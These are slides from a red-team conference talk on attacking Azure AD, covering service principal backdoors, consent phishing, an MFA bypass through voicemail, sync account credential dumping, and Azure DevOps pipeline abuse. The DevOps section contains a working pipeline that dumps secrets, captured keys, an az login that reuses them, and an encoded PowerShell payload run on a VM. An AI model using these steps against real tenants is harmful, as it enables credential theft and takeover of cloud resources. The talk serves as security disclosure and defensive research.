I’m in your cloud...

Pwning your Azure environment

Dirk-jan Mollema / @dirkjan
Whoami

- Lives in The Netherlands
- Hacker / Red Teamer / Researcher @ Fox-IT since 2016
- Author of several Active Directory tools
  - Mitm6
  - Idapdomaindump
  - BloodHound.py
  - aclpwn.py
  - Co-author of ntlmrelayx
- One of the MSRC Most Valuable Security Researchers 2018/2019
- Blogs on dirkjanm.io
  - PrivExchange
- Tweets stuff on @_dirkjan
This talk

• Azure AD: what is it and how to talk to it
• Azure AD roles, applications and service principals
• Fun with MFA
• Linking up cloud and on-premise
• Azure Resource manager and Azure AD
• Azure integrations – Azure DevOps
Azure AD

• “Azure Active Directory (Azure AD) is Microsoft’s cloud-based identity and access management service.”

• Source of authentication for Office 365, Azure Resource Manager, and anything else you integrate with it.
## Azure AD vs Active Directory

<table>
<thead>
<tr>
<th>(Windows Server) Active Directory</th>
<th>Azure Active Directory</th>
</tr>
</thead>
<tbody>
<tr>
<td>LDAP</td>
<td>REST API’s</td>
</tr>
<tr>
<td>NTLM/Kerberos</td>
<td>OAuth/SAML/OpenID/etc</td>
</tr>
<tr>
<td>Structured directory (OU tree)</td>
<td>Flat structure</td>
</tr>
<tr>
<td>GPO’s</td>
<td>No GPO’s</td>
</tr>
<tr>
<td>Super fine-tuned access controls</td>
<td>Predefined roles</td>
</tr>
<tr>
<td>Domain/forest</td>
<td>Tenant</td>
</tr>
<tr>
<td>Trusts</td>
<td>Guests</td>
</tr>
</tbody>
</table>
Interacting with Azure AD

- Portal
- PowerShell modules
- Azure CLI
- API’s
Portal

• Nice and shiny
• Built for ease of use
• Sucks if you’re trying to understand how stuff actually works
Powershell

- MSOnline PowerShell module
  - Focusses on Office 365
  - Some Office 365 specific features

- AzureAD PowerShell module
  - General Azure AD
  - Different feature set

- Azure CLI / Az powershell module
  - More focus on Azure Resource Manager
API’s

• Azure AD Graph
• Microsoft Graph
• Exchange Provisioning service
Which one to use?

- All of them have limitations
- Unique features, yet deprecated
- Different authentication methods supported
- Different terminology

Supported legacy APIs

- Azure Active Directory Graph: Programmatic access to directory data and objects
- Exchange: A powerful, easy-to-use way to access and manipulate Exchange data
Confusion
Talking to Azure

- There is not one uniform way to talk to Azure AD
- You’re limited to what Microsoft considers important and documents
- Most of this research is from using documented and undocumented APIs
Azure AD – roles, applications, service principals
Azure AD Principals

- Users
- Devices
- Applications
Azure AD roles

- RBAC Roles are only used for Azure Resource Manager
- Office 365 uses administrator roles exclusively
Azure AD admin roles

• Global/Company administrator can do anything

• Limited administrator accounts
  • Application Administrator
  • Authentication Administrator
  • Exchange Administrator
  • Etc

• Roles are fixed

Source: https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles
“Applications”

- Most confusing part (IMO) of Azure AD
- Documentation unclear
- Terminology different between documentation, APIs and Azure portal
- Complex permission system
Everything is an application

- Examples:
  - Microsoft Graph
  - Azure Multi-Factor Auth Client
  - Azure Portal
  - Office 365 portal
  - Azure ATP

- A default Office 365 Azure AD has about 200 service principals (read: applications)
Applications and multitenancy – your apps

Service principal

Application definition

Your Azure AD

Another Azure AD
Applications and multitenancy – third party apps
Applications and multitenancy – Microsoft apps

- Service principals
  - Your Azure AD

- Office 365 applications
  - Microsoft's Azure AD
Application privileges

• Two types of privileges:
  • Delegated permissions
    • Require signed-in user present to utilize
  • Application permissions
    • Are assigned to the application, which can use them at any time

• These privileges are assigned to the service principal
Permissions model

- Every application defines permissions
- Can be granted to Service Principals
- Commonly used:
  - Microsoft Graph permissions
  - Azure AD Graph permissions
Example: Application permissions

API permissions

Applications are authorized to use APIs by requesting permissions. These permissions show up during the consent process where users are given the opportunity to grant/deny access.

<table>
<thead>
<tr>
<th>Permission Name</th>
<th>Type</th>
<th>Description</th>
<th>Admin Consent</th>
</tr>
</thead>
<tbody>
<tr>
<td>Directory.AccessAsUser.All</td>
<td>Delegated</td>
<td>Access directory as the signed in user</td>
<td>Yes - Granted for MSOBB</td>
</tr>
<tr>
<td>Directory.ReadWrite.All</td>
<td>Application</td>
<td>Read and write directory data</td>
<td>Yes - Not granted for MSOBB</td>
</tr>
<tr>
<td>User.Read</td>
<td>Delegated</td>
<td>Sign in and read user profile</td>
<td>-</td>
</tr>
</tbody>
</table>
Service principal permissions

<table>
<thead>
<tr>
<th>API NAME</th>
<th>PERMISSION</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows Azure Active Directory</td>
<td>Read and write directory data</td>
</tr>
</tbody>
</table>

Applications can be granted permissions to your directory by an admin consenting to the admin integrating an application and enabling self-service access or assigning users directly. As an administrator you can grant consent on behalf of all users in this directory, ensuring button below to grant admin consent.
## How permissions actually work

<table>
<thead>
<tr>
<th>API definition</th>
<th>Portal terminology</th>
</tr>
</thead>
<tbody>
<tr>
<td>Every application defines:</td>
<td>App registration:</td>
</tr>
<tr>
<td>- OAuth2 permissions</td>
<td>- Delegated permissions</td>
</tr>
<tr>
<td>- Application roles</td>
<td>- Application permissions</td>
</tr>
<tr>
<td>An application requires:</td>
<td>App registration:</td>
</tr>
<tr>
<td>- Resource access</td>
<td>- API permissions</td>
</tr>
<tr>
<td>A service principal has:</td>
<td>An enterprise application has:</td>
</tr>
<tr>
<td>- OAuth2 permission grants</td>
<td>- Delegated permissions</td>
</tr>
<tr>
<td>- Application roles</td>
<td>- Application permissions</td>
</tr>
</tbody>
</table>
Hiding in plain sight

• Normal flow:
  • Define required permissions in application
  • Approve permissions

• Alternative flow:
  • Assign a service principal to a role in MS Graph/AAD Graph directly
Application view

API permissions

Applications are authorized to use APIs by requesting permissions. You can grant/deny access.

Add a permission

API / PERMISSIONS NAME | TYPE
--- | ---
No permissions added

These are the permissions that this application requests statically. You can also enable permissions dynamically through code. See best practices for...
Service Principal view

Overview
Getting started
Manage
Properties
Owners
Users and groups
Provisioning
Application proxy
Self-service
Security
Conditional Access
Permissions
Token encryption (Preview)
Activity

Permissions

Applications can be granted permissions to your directory by an admin consenting to the application for all users, a user consenting to the application for him or herself, or an admin integrating an application and enabling self-service access or assigning users directly to the application.

The ability to consent to this application is disabled as the app does not require consent. Granting consent only applies to applications requiring permissions to access your resources.

Grant admin consent for MSOBB

Admin consent
User consent

Search permissions

<table>
<thead>
<tr>
<th>API NAME</th>
<th>PERMISSION</th>
<th>TYPE</th>
<th>Admin consent</th>
<th>User consent</th>
</tr>
</thead>
<tbody>
<tr>
<td>Microsoft Graph</td>
<td>Sign in and read user profile</td>
<td>Delegated</td>
<td>Admin consent</td>
<td>An admin</td>
</tr>
<tr>
<td>Microsoft Graph</td>
<td>Read and write directory data</td>
<td>Application</td>
<td>Admin consent</td>
<td>An admin</td>
</tr>
</tbody>
</table>
The exception: Microsoft applications…

- No way to tell from portal or API which permissions they have
```json
{
  "aud": "https://outlook.office365.com",
  "iss": "https://sts.windows.net/56ad18e1-bb23-4466-9154-bc92e7fe3fbb/",
  "iat": 1562755635,
  "nbf": 1562755635,
  "amr": [
    "pwd",
    "mfa"
  ],
  "app_displayname": "Microsoft Teams Web Client",
  "appid": "5e3ce6c0-2b1f-4285-8d45-75ee78787345",
  "appidacr": "0",
  "enfpolids": [],
  "family_name": "Headinclouds",
  "given_name": "Eric",
  "ipaddr": "",
  "name": "Eric",
  "oid": "e0ed1b1c-d57a-4d31-a52b-5b0e6e61836f3",
  "pwd": "100320008A81448A",
  "scp": "Calendars.ReadWrite Contacts.ReadWrite EWS.AccessAsUser.All Mail.ReadWrite Mail.Send User.Read User.ReadBasic.All",
  "sid": "1129f3ce-ee18-4295-ada0-b1004f6a36f9",
}
```
Why does this matter?

- Some admin roles allow managing all applications
  - Global Administrator
  - (Cloud) Application Administrator

- Including assigning credentials

- Possibility for backdooring Azure AD
  - No MFA for Service Principals

- Possible to escalate privileges
  - If you control an application with more privileges than you

- Previously: default applications with more permissions than Application Administrator
Example: Add certificate to service principal

- Add certificate as credential to an application

```powershell
PS C:\Users\Dirkjan> $keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
PS C:\Users\Dirkjan> $myapp = Get-AzureADServicePrincipal -filter "DisplayName eq 'testapp'"
PS C:\Users\Dirkjan> New-AzureADServicePrincipalKeyCredential -ObjectIds $myapp.ObjectId -CustomKeyIdentifier "Test123" -StartDate $currentDate -EndDate $endDate -Type AsymmetricX509Cert -Usage Verify -Value $keyValue
```

CustomKeyIdentifier : {84, 101, 115, 116...}
EndDate : 13-3-2020 20:57:08
KeyId : ab153bb1-2ba6-4d2b-afdf-2d6466b02e7f
StartDate : 13-3-2019 20:57:08
Type : AsymmetricX509Cert
Usage : Verify
Value : {77, 73, 73, 68...}
Example (2)

- Connect as service principal
### Logging?

- Log shows actions were performed by application

<table>
<thead>
<tr>
<th>DATE</th>
<th>SERVICE</th>
<th>CATEGORY</th>
<th>ACTIVITY</th>
<th>STATUS</th>
<th>TARGET(S)</th>
<th>INITIATED BY (ACTOR)</th>
</tr>
</thead>
<tbody>
<tr>
<td>3/13/2019, 9:53:56 PM</td>
<td>Core Directory</td>
<td>GroupManagement</td>
<td>Add member to group</td>
<td>Success</td>
<td><a href="mailto:user@bbqmeatlovers.co">user@bbqmeatlovers.co</a>...</td>
<td>testapp</td>
</tr>
<tr>
<td>3/13/2019, 9:53:40 PM</td>
<td>Core Directory</td>
<td>GroupManagement</td>
<td>Remove member from gr...</td>
<td>Success</td>
<td><a href="mailto:user@bbqmeatlovers.co">user@bbqmeatlovers.co</a>...</td>
<td>testapp</td>
</tr>
<tr>
<td>3/13/2019, 9:30:04 PM</td>
<td>Core Directory</td>
<td>GroupManagement</td>
<td>Add member to group</td>
<td>Success</td>
<td><a href="mailto:user@bbqmeatlovers.co">user@bbqmeatlovers.co</a>...</td>
<td>testapp</td>
</tr>
</tbody>
</table>
Assigning permissions

• Application admins can’t assign Application roles for Microsoft/Azure AD Graph (Application permissions)

• They can assign OAuth2 permissions (delegated permissions)
  • Only valid when user is using the application

• To exploit:
  • Add user impersonation permission to application
  • Phish a Global Administrator with link
  • Do stuff
Captured access token:
eyJ0eXAoJKV1QlbCjuB25jZSI6IkFRQjBQUFQUBUDPBD3TGxxZExxWVG9PcEEEa3d6U25401E6nc6d6Yhk88kwFlwOVYgOfJzFcbg9QawvFOnM10G6CpWcnqSDoBx4cETBwVwGV5hnohI1AeBgrxZDSvxxqa7P0qOpv1MemHsDuQrXW11NYphlRXAxCe4H3D4jWZ-944p1OCUyqdBskTOSyv4M6jW58qX1UDRHzvM5kvfMtNjvZwu9sGxtywV8_qTs8YyoN4BbXnuwO5KL902BKH70Ugk

{
"aud": "https://graph.microsoft.com",
"iss": "https://sts.windows.net/50ed18e1-bb23-4466-9154-bc92e7fe3fbb/",
"iat": 1563533126,
"nbf": 1563533126,
"exp": 1563637026,
"aett": 0,
"octx": "1",
"oid": "AGQA2/8MAAAAMaAL7yk3b1fnbsr+hvgK9Ns1LUSbJXuQ7kiyNh74Yvo=",
"onm": [
"pwd"
],
"app_displayname": "legit",
"appid": "871214eb-5f41-4183-908d-699a6fd6bee",
"appidacr": "0",
"fn-ppn": "Headinclouds",
"given_name": "eric",
"ipaddr": "96.69.61.4",
"name": "eric",
"oid": "e0cd1bc-d57a-4d31-a52b-50e661836f5",
"platform": "3",
"puid": "33333333333333333333333333333333",
"signing_state": [
"Inknownntwk",
"km1"
],
"sub": "y4OX1kZRaVEdx5v3K1WqyjDCqhrV3B-R8-hw3V5_I",
"tid": "50ed18e1-bb23-4466-9154-bc92e7fe3fbb",
"unique_name": "ericericengines.onmicrosoft.com",
"upn": "ericericengines.onmicrosoft.com",
"util": "atub10WfUm1lk=FcKkNAq"}
Phishing with a twist

- Assign a new redirect URL to an Office 365 application
- (ab)use built-in permissions for this application
- Phish admin
- Logs?
## Login log

<table>
<thead>
<tr>
<th>Date/Time</th>
<th>User</th>
<th>Location</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>7/19/2019, 12:50:01 PM</td>
<td>Eric</td>
<td>Microsoft Office 365 Portal</td>
<td></td>
</tr>
<tr>
<td>7/19/2019, 12:50:00 PM</td>
<td>Eric</td>
<td>Office 365 Exchange Online</td>
<td></td>
</tr>
</tbody>
</table>

### Details

<table>
<thead>
<tr>
<th>Basic info</th>
<th>Device info</th>
<th>MFA info</th>
<th>Conditional Access</th>
</tr>
</thead>
<tbody>
<tr>
<td>Request ID: 035a625-a7fe-43fe-8c6c-84fba45a00</td>
<td>IP address:</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Correlation ID: 021a68c-e93f-4e4c-b1fe-81464876fde5</td>
<td>Location:</td>
<td></td>
<td></td>
</tr>
<tr>
<td>User: Eric</td>
<td>Date: 7/19/2019, 12:50:01 PM</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Username: <a href="mailto:eric@ericengines.onmicrosoft.com">eric@ericengines.onmicrosoft.com</a></td>
<td>Status: Success</td>
<td></td>
<td></td>
</tr>
<tr>
<td>User ID: e0cd1b1c-d57a-4d31-a52b-50e0e61836f3</td>
<td>Client app: Browser</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Application: Microsoft Office 365 Portal</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Application ID: 00000000-0000-0000-0000-000000000000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Resource: Windows Azure Active Directory</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Resource ID: 000000002-0000-0000-c000-000000000000</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Fun with MFA
(some of the) MFA methods

- Authenticator app
  - Notification
  - One time code

- Text message

- Voice call
Voice call

- The number registered in Azure AD is called
- To authenticate, press #
Abuse scenario

- Break into someone’s voicemail
- Change the welcome message to a # tone
- Make sure the phone is occupied
- Sign in using password
- Azure AD will get redirected to voicemail
- Authenticated 😊
Demo

More cool research on this topic: see Martin Vigo's talk at Def Con 26
“Compromising online services by cracking voicemail systems”
Greetings

You have reached the voicemail of your number. The message is:

'You have reached the voicemail of your name'
Microsoft’s reaction

- “closing this as a v-next fix” … “post-exploitation technique” … “the attacker must compromise the users voicemail to enable the attack”
Linking up cloud and on-premise

What could possibly go wrong
Exploiting the link with on-premise

- Application administrator is high-privilege cloud account
  - Hopefully protected with MFA

- What about on-premise?
Azure AD connect

- Tool that resides on-premise and syncs AD data to Azure AD
- Installed in both Password Hash Synchronization and ADFS scenario’s

Source: https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs
AD Sync account privileges

Directory Synchronization Accounts

Only used by Azure AD Connect service.

<table>
<thead>
<tr>
<th>Actions</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>microsoft.aad.directory/organization/dirSync/update</td>
<td>Update organization.dirSync property in Azure Active Directory.</td>
</tr>
<tr>
<td>microsoft.aad.directory/policies/create</td>
<td>Create policies in Azure Active Directory.</td>
</tr>
<tr>
<td>microsoft.aad.directory/policies/delete</td>
<td>Delete policies in Azure Active Directory.</td>
</tr>
<tr>
<td>microsoft.aad.directory/policies/basic/read</td>
<td>Read basic properties on policies in Azure Active Directory.</td>
</tr>
<tr>
<td>Path</td>
<td>Description</td>
</tr>
<tr>
<td>------------------------------------------------</td>
<td>------------------------------------------------------------------</td>
</tr>
<tr>
<td>microsoft.aad.directory/servicePrincipals</td>
<td>Update servicePrincipals.appRoleAssignments property in Azure Active Directory.</td>
</tr>
<tr>
<td>/appRoleAssignments/update</td>
<td></td>
</tr>
<tr>
<td>microsoft.aad.directory/servicePrincipals</td>
<td>Update servicePrincipals.audience property in Azure Active Directory.</td>
</tr>
<tr>
<td>/audience/update</td>
<td></td>
</tr>
<tr>
<td>microsoft.aad.directory/servicePrincipals</td>
<td>Update servicePrincipals.authentication property in Azure Active Directory.</td>
</tr>
<tr>
<td>/authentication/update</td>
<td></td>
</tr>
<tr>
<td>microsoft.aad.directory/servicePrincipals</td>
<td>Read basic properties on servicePrincipals in Azure Active Directory.</td>
</tr>
<tr>
<td>/basic/read</td>
<td></td>
</tr>
<tr>
<td>microsoft.aad.directory/servicePrincipals</td>
<td>Update basic properties on servicePrincipals in Azure Active Directory.</td>
</tr>
<tr>
<td>/basic/update</td>
<td></td>
</tr>
<tr>
<td>microsoft.aad.directory/servicePrincipals</td>
<td>Create servicePrincipals in Azure Active Directory.</td>
</tr>
<tr>
<td>/create</td>
<td></td>
</tr>
<tr>
<td>microsoft.aad.directory/servicePrincipals</td>
<td>Update servicePrincipals.credentials property in Azure Active Directory.</td>
</tr>
<tr>
<td>/credentials/update</td>
<td></td>
</tr>
<tr>
<td>microsoft.aad.directory/servicePrincipals</td>
<td>Read servicePrincipals.memberOf property in Azure Active Directory.</td>
</tr>
<tr>
<td>/memberOf/read</td>
<td></td>
</tr>
</tbody>
</table>
Sync account privileges

• If Password Hash Synchronization is in use, the Sync account can sync all password hashes
  • Means it’s basically Domain Admin on-premise

• Either way, the sync account has high privileges in the cloud

• Cloud assets may extend beyond the AD Domain
Azure AD Connect password extraction

• Adconnectdump: 3 ways to dump the password on-premises

• Technical explanation: see my Troopers presentation

<table>
<thead>
<tr>
<th>Tool</th>
<th>Requires code execution on target</th>
<th>DLL dependencies</th>
<th>Requires MSSQL locally</th>
<th>Requires python locally</th>
</tr>
</thead>
<tbody>
<tr>
<td>ADSyncDecrypt</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>ADSyncGather</td>
<td>Yes</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>ADSyncQuery</td>
<td>No (network RPC calls only)</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
</tbody>
</table>

https://github.com/fox-it/adconnectdump
Fun stuff to do with the Sync account

- Dump all on-premise password hashes (if PHS is enabled)
- Log in on the Azure portal (since it’s a user)
- Bypass conditional access policies for admin accounts
- Add credentials to service principals
- Modify service principals properties
Azure Resource manager and Azure AD
Azure RBAC

- RBAC roles can be assigned to service principals
- These can be managed by Application Administrators
- Also by the on-premise sync account
- High privilege applications might need an account
  - Example: Terraform
Escalating again

• Pwn on-premise sync account

• Assign credentials to service principals with rights in Azure RM

• Now you also control any cloud resources
Azure integrations – Azure DevOps
What is Azure DevOps

- DevOps tooling
  - Source code management
  - Build pipelines
  - Automatic deployment
Azure DevOps - Pipelines

• Kinda cool feature that allows you to build code for free

• Uses Microsoft hosted resources in Azure

Shoutout to @_xpn_ for his blog that got me into this
Example: adconnectdump

Azure AD Connect password extraction

This toolkit offers several ways to extract and decrypt stored Azure AD and Active Directory credentials from Connect servers. These credentials have high privileges in both the on-premise directory and the cloud.
Pipeline definitions

- Manual definition through GUI
- Pipelines-as-code using YAML file (new)
Build definitions

```yaml
# .NET Desktop
# Build and run tests for .NET Desktop or Windows classic desktop solutions.
# Add steps that publish symbols, save build artifacts, and more:
# https://docs.microsoft.com/azure/devops/pipelines/apps/windows/dot-net

trigger:
  - master

pool:
  name: Hosted VS2017
demands:
  - mbuild
  - visualstudio
  - azureps

variables:
  solution: '**/*.sln'
  buildPlatform1: 'Any CPU'
  buildPlatform2: 'x64'
  buildConfiguration: 'Release'

steps:
  - task: VSBUILD@1
displayName: 'Build solution **/*.sln'
inputs:
  solution: '$(solution)'
  platform: '$(BuildPlatform1)'
  configuration: '$(BuildConfiguration)'
```
Scenario

• Team member wants to publish artifacts in Azure using Blob storage

• Links up Azure RM with Azure DevOps
Adding a new user

• New team member joins

• Needs minimal privileges to contribute to the repository

• No special privileges to edit build pipelines
New user commit

```bash
user@localhost:~/newtest$ git add azure-pipelines.yml
user@localhost:~/newtest$ git commit -m "shiny more efficient pipeline"
[master ed9da8a] shiny more efficient pipeline
  1 file changed, 24 insertions(+), 2 deletions(-)
user@localhost:~/newtest$ git push
Warning: Permanently added the RSA host key for IP address '51.144.61.32' to the list of known hosts.
Counting objects: 3, done.
Delta compression using up to 4 threads.
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 1.16 KiB | 0 bytes/s, done.
Total 3 (delta 0), reused 0 (delta 0)
remote: Storing packfile... done (203 ms)
remote: Storing index... done (95 ms)
To git@ssh.dev.azure.com:v3/dirkjanm/msobb/newtest
  ef5b2f1..ed9da8a  master -> master
```
Meanwhile in an unrelated Azure VM
Example pipeline

trigger:
- master

pool:
  name: Hosted VS2017
  demands:
  - msbuild
  - visualstudio
  - azureps

steps:
- powershell:
  
  # Find source
  $target = Get-ChildItem D:\ -Filter AzureFileCopy.ps1 -Recurse | select fullname
  # String to replace
  $old = 'if (Get-Module Az.Accounts'
  # Replacement string that dumps Endpoint data
  $new = @'
  $endpoint | fl | write-output
  $endpoint.auth.parameters | fl | write-output
  write-host "Authdata:"
  $text = $endpoint.auth.parameters | fl | out-string
  $Bytes = [System.Text.Encoding]:.Unicode.GetBytes($Text)
  [Convert]:.ToBase64String($Bytes) | write-output
  write-host "Password:"
  $text = $endpoint.auth.parameters.serviceprincipalkey | out-string
  $Bytes = [System.Text.Encoding]:.Unicode.GetBytes($Text)
  [Convert]:.ToBase64String($Bytes) | write-output
  if (Get-Module Az.Accounts
      ' @
    # Do the replacement
    @((Get-Content -path $target.fullname -Raw).replace($old,$new)) | Set-Content -Path $target.fullname

displayname: 'Powershell Script'
Task : Azure file copy
Description : Copy files to Azure Blob Storage or virtual machines
Version : 3.154.2
Author : Microsoft Corporation
Help : https://docs.microsoft.com/azure/devops/pipelines/tasks/deploy/azure-file-copy

---
tenantid : ***

serviceprincipalid : ***
authenticationType : ***
serviceprincipalkey : ***

Authdata:
DQAKAAoACgB0AGUAbgBhAG4AdABpAGQIAAaAgACAIAAaAgACAIAAaAgACAIAAaAgACAIAAaAgAAGADeAMQA3ADEA0QAwADYAZgAtAGYAZAaAzAD/

Password:
RQ8wDQAQgBZAGsALwBwAHQATgBCAGcAcgAxAFAQRw8kADUAbgBVAFkAYgBUADkAVABAAGcAMgBrAFMALw8sAE8ANGBrADkAOAayAHU/
echo DQAKAA0ACgB0AGUAbgBhAG4AdABpAGQAIAGACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAg

AtAGYAZAAzADIALQA0ADg0A0AyAC0A0QA3AGYAMwAtADEANAA1ADAAMABiAGQANwBlAGYANgA1AA0AcGzAGUAcgB2AGkAYwBlA
ssAGkAZAAgACAAA0AgAGDIAMwA2AGUAzQbJADQOAAAtADEEMwA1ADUALQA0AGIA0A3AC0A0AA0ADEANwAtADUAYgBjAGEANQBiAG
AHUAdABoAGUAbgB0AGkAYwBhAHQqaQBvAG4AVAB5AHAAZQAgACAA0AgAgAHMAcABuAEsAZQ5AA0AcBzAGUAcgB2AGkAYwBlAHA
GsAZQ5ACAA0AgAgAEUAvgA0AEYAWQBrAC8AcAB0AE4AQgBnAHIAMQBUAEcAZAA1AG4AVQBZAGIAVAA5AFQAWgBnADIAawBTAC8A
sAMgBWADEAWQAxAgwAcgBZADAAbwBFAG0AVQBBAD0APQANAAoADQAKAA0AcGANAAoA | base64 -d

tenantid : 1171906f-fd32-4882-97f3-14500bd7ef65
serviceprincipalid : 236eec48-1355-4b87-8417-5bca5be1d62a
authenticationType : spnKey
serviceprincipalkey : EV4FYk/ptNBgr1Tgd5nUYbT9TZg2kS/l06k982uK2V1Y1rY0oEmUA==
RBAC permissions

Visual Studio Professional - Access control (IAM)

Check access  Role assignments  Deny assignments  Classic administrators  Roles

Manage access to Azure resources for users, groups, service principals and managed identities at this scope by creating role assignments. Learn more

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Role</th>
<th>Scope</th>
</tr>
</thead>
<tbody>
<tr>
<td>dirkjanm-nsobb-b24c6b6c-44af</td>
<td>App</td>
<td>Contributor</td>
<td>This resource</td>
</tr>
<tr>
<td>dirkjanmolema-dirkjanmolema</td>
<td>App</td>
<td>Contributor</td>
<td>This resource</td>
</tr>
<tr>
<td>dirkjanmolema-nsobb-b24c6b6c</td>
<td>App</td>
<td>Contributor</td>
<td>This resource</td>
</tr>
</tbody>
</table>
user@localhost:~/newtest$ az login --service-principal -u 236eac48-1355-4b87-8417-5bca5be1d62a --tenant 1171906f2-97f3-14500bd7ef65 -p EV4FYk/pTBNbgr1TGd5nUYbT9TZg2kS/l06k982uK2V1Y1lrY0oEmUA==

```json
{
    "cloudName": "AzureCloud",
    "id": "b24cb6bc-f4af-4bd7-b24c-2e9f58f1af5f",
    "isDefault": true,
    "name": "Visual Studio Professional",
    "state": "Enabled",
    "tenantId": "1171906f-fd32-4882-97f3-14500bd7ef65",
    "user": {
        "name": "236eac48-1355-4b87-8417-5bca5be1d62a",
        "type": "servicePrincipal"
    }
}
```
How about that notepad

- task: AzureCLI@1
  inputs:
  - azureSubscription: vsdevconnection
  - scriptLocation: 'inlineScript'
  - inlineScript: 'az vm extension set --publisher Microsoft.Compute --name CustomScriptExtension --version 1.9 --settings "\"commandToExecute\": \"powershell.exe -e IgBwAHcAbgBLAQQAIAgAHwAIABvAHUAAdAAtAGYAreQBxsAGUAIAbjADoALwB9AGUAAbQ8wAC8AaABVAGkALgB9AHsadAA/YCAAYwAbAC8AdABLAgB0ACAA7AHAAAcwB/ALhGzQBjAL4A4QB4AgUAIATAGYAEAYwBgJAGUAcAB0AGUAdQBxsAGEAIAAtAHNAAIAAtAGKAAIAA0ACAAdgBvAHQAzQBwAGEaAIAuAGUaeABlACAYwA6AC8AdABlAG0AcAAvAGgAbwBpAC4AdAB4AHQA\"" --vm-name REAPER-WRK1 --resource-group reaper-resources'
  - addSpnToEnvironment: true

- task: AzureFileCopy@3
  displayName: 'AzureBlob File Copy'
  inputs:
  - SourcePath: README.md
  - azureSubscription: vsdevconnection
  - Destination: AzureBlob
  - storage: pentesttoolsbuild
Can anyone edit pipelines?

• No – specific role is required

• However: since pipeline definitions are part of the repository, commit privileges is sufficient

• Reported to Microsoft, is fixed in the latest version of DevOps
Azure DevOps conclusions

• Be careful about integrations
• Anyone that can edit the pipelines can access the secrets
• If secrets are enabled for public repositories, rogue pull request is sufficient to extract secrets
  • (this is documented)

General conclusions

• Cloud can be beautiful

• All your stuff is on the internet

• You need to secure it yourself (MFA!!!!)

• SaaS takes away your need to patch manually
  • Always the latest patches
  • Always the latest features
  • Always the latest vulnerabilities

• Full trust in vendor is implied
I’m in your cloud...

Pwning your Azure environment

Dirk-jan Mollema / @_dirkjan